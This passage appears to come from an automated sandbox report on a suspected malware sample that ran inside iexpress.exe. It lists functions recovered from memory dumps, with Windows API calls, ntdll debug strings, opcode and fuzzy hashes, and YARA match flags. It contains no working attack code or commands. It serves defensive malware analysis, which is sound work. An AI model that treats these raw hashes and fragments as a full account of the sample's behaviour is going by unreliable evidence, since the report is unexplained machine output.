                                                          • RtlFreeHeap.NTDLL(00000000,00000004,00000000,7CC13B5C,00000007,00000000,00000004,00000000,030339A1,000000F4,?,?,?,?,?), ref: 0304802F
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: FreeHeap
                                                          • String ID:
                                                          • API String ID: 3298025750-0
                                                          • Opcode ID: 5ac67c8c97735da1dd0cbd312c6a7913a351ae52aae5574a4a7302b5b97522da
                                                          • Instruction ID: 55f6061c00b4b8c28be400d06796ae1d591198cc3fa116e4cf2cfaab4a680a3e
                                                          • Opcode Fuzzy Hash: 5ac67c8c97735da1dd0cbd312c6a7913a351ae52aae5574a4a7302b5b97522da
                                                          • Instruction Fuzzy Hash: 88E065B6200308BBD614EE59DC41FEB37ACEFCA710F408419F908AB281C6B1B9508BB5
                                                          Function 03037A00 Relevance: 1.5, APIs: 1, Instructions: 27COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetFileAttributesW.KERNELBASE(?,?,000016A8,?,000004D8,00000000), ref: 03037A2C
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: AttributesFile
                                                          • String ID:
                                                          • API String ID: 3188754299-0
                                                          • Opcode ID: d557c7217156b9631356be0adfe2045977d12ec7f48a9edb5f17988e613a7069
                                                          • Instruction ID: 171246b31e23115af81001f6f00f7723717b3e5ec55cae8c8431016c28a57b89
                                                          • Opcode Fuzzy Hash: d557c7217156b9631356be0adfe2045977d12ec7f48a9edb5f17988e613a7069
                                                          • Instruction Fuzzy Hash: 27E026B921130427FB60EEA8DC41FA2338C8BC9E24F6C4660BD1CDB2C1E579F6028290
                                                          Function 0303416A Relevance: 1.5, APIs: 1, Instructions: 23libraryloaderCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 03034132
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Load
                                                          • String ID:
                                                          • API String ID: 2234796835-0
                                                          • Opcode ID: f14832b5f2824aadfdaa80eee5a1260b764a7cb20298280a43eaf242e9aa08a1
                                                          • Instruction ID: e73d9753623d296c7c61ecf3597d4343451aa4916533120e77cef274e5c87592
                                                          • Opcode Fuzzy Hash: f14832b5f2824aadfdaa80eee5a1260b764a7cb20298280a43eaf242e9aa08a1
                                                          • Instruction Fuzzy Hash: 60E04839909249AFCB44DFA9CC81FAABBB8EF4660CF0441C9E9589F142E571A645C741
                                                          Function 03037810 Relevance: 1.5, APIs: 1, Instructions: 21COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SetErrorMode.KERNELBASE(00008003,?,?,030315F0,03046A47,03044327,?), ref: 03037843
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: ErrorMode
                                                          • String ID:
                                                          • API String ID: 2340568224-0
                                                          • Opcode ID: 5213271e52d9a4dea812c8ed8ef4e6e47407570308b07139a285fcc41f37b7df
                                                          • Instruction ID: ab26c88fad8da1f53212c7ddfb39580c8160f6532ba45ae2c11ad5ac2c553aa3
                                                          • Opcode Fuzzy Hash: 5213271e52d9a4dea812c8ed8ef4e6e47407570308b07139a285fcc41f37b7df
                                                          • Instruction Fuzzy Hash: 9FD05EB52923053BF680F7B5CC42F96368C8B80A54F444474BA0CEB2C2ECA5F1408669
                                                          Function 05132C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: InitializeThunk
                                                          • String ID:
                                                          • API String ID: 2994545307-0
                                                          • Opcode ID: d9224216a142d36577776e76e88c1e93ed8c86e6f894b878586c8f5e75f65f1c
                                                          • Instruction ID: 10f8d60fd58fc7d58461ca47242ce374bd63f9155cf67bfc82d18e4fe06f5053
                                                          • Opcode Fuzzy Hash: d9224216a142d36577776e76e88c1e93ed8c86e6f894b878586c8f5e75f65f1c
                                                          • Instruction Fuzzy Hash: 56B092729029C5DAEB11F7604B09B2B7A11BBD0701F7AC462E2130682F477CD1D1E6B6

                                                          Non-executed Functions

                                                          Function 0303201A Relevance: .0, Instructions: 12COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Offset: 03020000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_3020000_iexpress.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 9533c067730d846baa90e9c72cdfb39562a15466be98d35bca72632c7c5e1a5b
                                                          • Instruction ID: 015ddd0e45e630a728d9956df88c0ec1cb8e7a80678920816303db4dc647087b
                                                          • Opcode Fuzzy Hash: 9533c067730d846baa90e9c72cdfb39562a15466be98d35bca72632c7c5e1a5b
                                                          • Instruction Fuzzy Hash: E2A00117F4521E0144249C8AB9830B4F364D2870BAD5033BBDE0DB36055442C529019E
                                                          Function 05132890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: ___swprintf_l
                                                          • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                                          • API String ID: 48624451-2108815105
                                                          • Opcode ID: 7bc59bf25da03f02b271f4e84f2f467ec5747a32009662f084cf25e09d95d4cb
                                                          • Instruction ID: 19a365ea833d35b897dda3a177e7bcb20d301bacde9aec0f51c3ba28d85afa8d
                                                          • Opcode Fuzzy Hash: 7bc59bf25da03f02b271f4e84f2f467ec5747a32009662f084cf25e09d95d4cb
                                                          • Instruction Fuzzy Hash: 45510BB9B04116BFCB24EF58C8A197EFBF9BF09200B508169E4A5D7641E374DE508BE0
                                                          Function 051A2410 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 189COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: ___swprintf_l
                                                          • String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
                                                          • API String ID: 48624451-2108815105
                                                          • Opcode ID: 7c9f0cb15d12868786e3bd8a48c63b1baba2d3587fc0e12b70e74696fe878d9c
                                                          • Instruction ID: 0c196f495512d4f9cf1905d142bddcf7efcbe55564831a14c040b7179001df3c
                                                          • Opcode Fuzzy Hash: 7c9f0cb15d12868786e3bd8a48c63b1baba2d3587fc0e12b70e74696fe878d9c
                                                          • Instruction Fuzzy Hash: E451F87EA04645AECB35DF6CC9909BEB7FAFB44200B548459E4A6CB641D774EE00C760
                                                          Function 05127630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 051646FC
                                                          • CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 05164725
                                                          • CLIENT(ntdll): Processing section info %ws..., xrefs: 05164787
                                                          • CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 05164655
                                                          • ExecuteOptions, xrefs: 051646A0
                                                          • Execute=1, xrefs: 05164713
                                                          • CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 05164742
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
                                                          • API String ID: 0-484625025
                                                          • Opcode ID: a75264b695e12b99911fba2daedd21b2e5cea02faa1d4be30fdf65eebaa390f6
                                                          • Instruction ID: 7fd358f2dfc4a01abb854d4f47458cfbb7851083ab749d99627f71bc72f51a5e
                                                          • Opcode Fuzzy Hash: a75264b695e12b99911fba2daedd21b2e5cea02faa1d4be30fdf65eebaa390f6
                                                          • Instruction Fuzzy Hash: CC51E731B002297AEF21EAA4EC9EFAF77B9FF04300F140099E505AB1D1DB719A55CB51
                                                          Function 051C6940 Relevance: 9.4, APIs: 6, Instructions: 416COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 2a48bdd4d8ea14c469ad441b94cf96c101b09c67394ceba66eb56f2a3b9e53c1
                                                          • Instruction ID: a07402be974ddc6a5771ef2223e412bb44c351293980532d17c5691fa8d79394
                                                          • Opcode Fuzzy Hash: 2a48bdd4d8ea14c469ad441b94cf96c101b09c67394ceba66eb56f2a3b9e53c1
                                                          • Instruction Fuzzy Hash: D2021371608341AFC305CF68C894A6EBBE5FFD8710F14896DF9898B265DB72E905CB42
                                                          Function 0513B5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: __aulldvrm
                                                          • String ID: +$-$0$0
                                                          • API String ID: 1302938615-699404926
                                                          • Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                          • Instruction ID: de7661cad5b57d0fdf6f69f947a935c9e561d3bd8bcd44415c6da0c09c11752c
                                                          • Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                          • Instruction Fuzzy Hash: 368171B0E0D2499ADF28DE68C8727FEBBA2FF45310F18415AD891A72D2E7349841C750
                                                          Function 051A20E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: ___swprintf_l
                                                          • String ID: %%%u$[$]:%u
                                                          • API String ID: 48624451-2819853543
                                                          • Opcode ID: 6754e45aec60d2a112587dd510684d2eb7e895f03b5a38e3a427492289b08a39
                                                          • Instruction ID: 1cfa29a40401619ea7c319864ddc5541ab3c3bae4ee880f5a1cd05775c699470
                                                          • Opcode Fuzzy Hash: 6754e45aec60d2a112587dd510684d2eb7e895f03b5a38e3a427492289b08a39
                                                          • Instruction Fuzzy Hash: 8B21627BA00119ABDB21DF79DC55EFEBBF9EF48640F040126E955E7201EB30DA018BA1
                                                          Function 0511F5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • RTL: Re-Waiting, xrefs: 0516031E
                                                          • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 051602E7
                                                          • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 051602BD
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
                                                          • API String ID: 0-2474120054
                                                          • Opcode ID: e54fec82f8527e56b5b595433f2a2597c39f88bd291335fc0d9d65e3d0bec63a
                                                          • Instruction ID: 6eb71b7f266723caa35f658bbaf95673286047566f85284bdf719a032a0969d4
                                                          • Opcode Fuzzy Hash: e54fec82f8527e56b5b595433f2a2597c39f88bd291335fc0d9d65e3d0bec63a
                                                          • Instruction Fuzzy Hash: 85E1D2306087419FD725DF28C888B2AB7E1BF88314F140A6DF8A68B2D1D774E856CB56
                                                          Function 0512BED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • RTL: Resource at %p, xrefs: 05167B8E
                                                          • RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 05167B7F
                                                          • RTL: Re-Waiting, xrefs: 05167BAC
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                          • API String ID: 0-871070163
                                                          • Opcode ID: 81dda7c09ddb0ff37177a91b6c5c72eb867f01f27c5c97ca184879541cf1fe48
                                                          • Instruction ID: f2ef7ff083a71464baec3fdf7c2a44bc6fd2c3adcb7cee87d5d256d9dcfc3d78
                                                          • Opcode Fuzzy Hash: 81dda7c09ddb0ff37177a91b6c5c72eb867f01f27c5c97ca184879541cf1fe48
                                                          • Instruction Fuzzy Hash: F041E0313097029FC724DE29C840B6AB7E6FF88720F000A1DE85ADB681DB30E8558B91
                                                          Function 0512B4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0516728C
                                                          Strings
                                                          • RTL: Resource at %p, xrefs: 051672A3
                                                          • RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 05167294
                                                          • RTL: Re-Waiting, xrefs: 051672C1
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                                          • String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                          • API String ID: 885266447-605551621
                                                          • Opcode ID: 520ce210f80ed5efa4516760b3a2b3a81845d92d1a1bb304bfc3ab5de0ba84b3
                                                          • Instruction ID: 57757f383a7dd5fbd9166e94e2c6f7867585a2d5a6d44dc7389c8a4b38f52b53
                                                          • Opcode Fuzzy Hash: 520ce210f80ed5efa4516760b3a2b3a81845d92d1a1bb304bfc3ab5de0ba84b3
                                                          • Instruction Fuzzy Hash: 10410031708256ABC720DE25CC81F6AB7A6FF84714F100A1DF856AB280DB30F862CBD1
                                                          Function 051A2300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: ___swprintf_l
                                                          • String ID: %%%u$]:%u
                                                          • API String ID: 48624451-3050659472
                                                          • Opcode ID: 4ccefeb712c823a358399ffa31d37df18d43b150c0988b464bef8e0e2020eb1a
                                                          • Instruction ID: 8d742a781b73fa2051aafe337bd163ee0dd4fb7ec83e4bff3e3742fb2e9f2198
                                                          • Opcode Fuzzy Hash: 4ccefeb712c823a358399ffa31d37df18d43b150c0988b464bef8e0e2020eb1a
                                                          • Instruction Fuzzy Hash: 0231847AA002199FCB21DE29DC55FEEB7F8FF49610F540555E859E7240EB30AA448BA0
                                                          Function 05137D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID: __aulldvrm
                                                          • String ID: +$-
                                                          • API String ID: 1302938615-2137968064
                                                          • Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                          • Instruction ID: 6d66804858b177ca283892f5bd5d767dc6e25f6b4f08eca6f003ff3ceded0635
                                                          • Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
                                                          • Instruction Fuzzy Hash: E39198B0F042199FDF28DF69C8A2ABEB7B6FF44720F14451AE865E72C0D7349A818750
                                                          Function 050F9126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050C0000, based on PE: true
                                                          • Associated: 00000010.00000002.3712669732.00000000051E9000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.00000000051ED000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_16_2_50c0000_iexpress.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: $$@
                                                          • API String ID: 0-1194432280
                                                          • Opcode ID: 2419c23f58f7b3671367d9b942cacb880df009865ff5d8df2eb3fa5ec4d40e13
                                                          • Instruction ID: 1e6a76683441269a72cb4ba5165ee7e8d31e2638f7b4891157c5a11136567bcf
                                                          • Opcode Fuzzy Hash: 2419c23f58f7b3671367d9b942cacb880df009865ff5d8df2eb3fa5ec4d40e13
                                                          • Instruction Fuzzy Hash: 35812976D00269DBDB31CB54CC44BEEB7B5BB08710F0445EAAA1AB7280D7709E84CFA0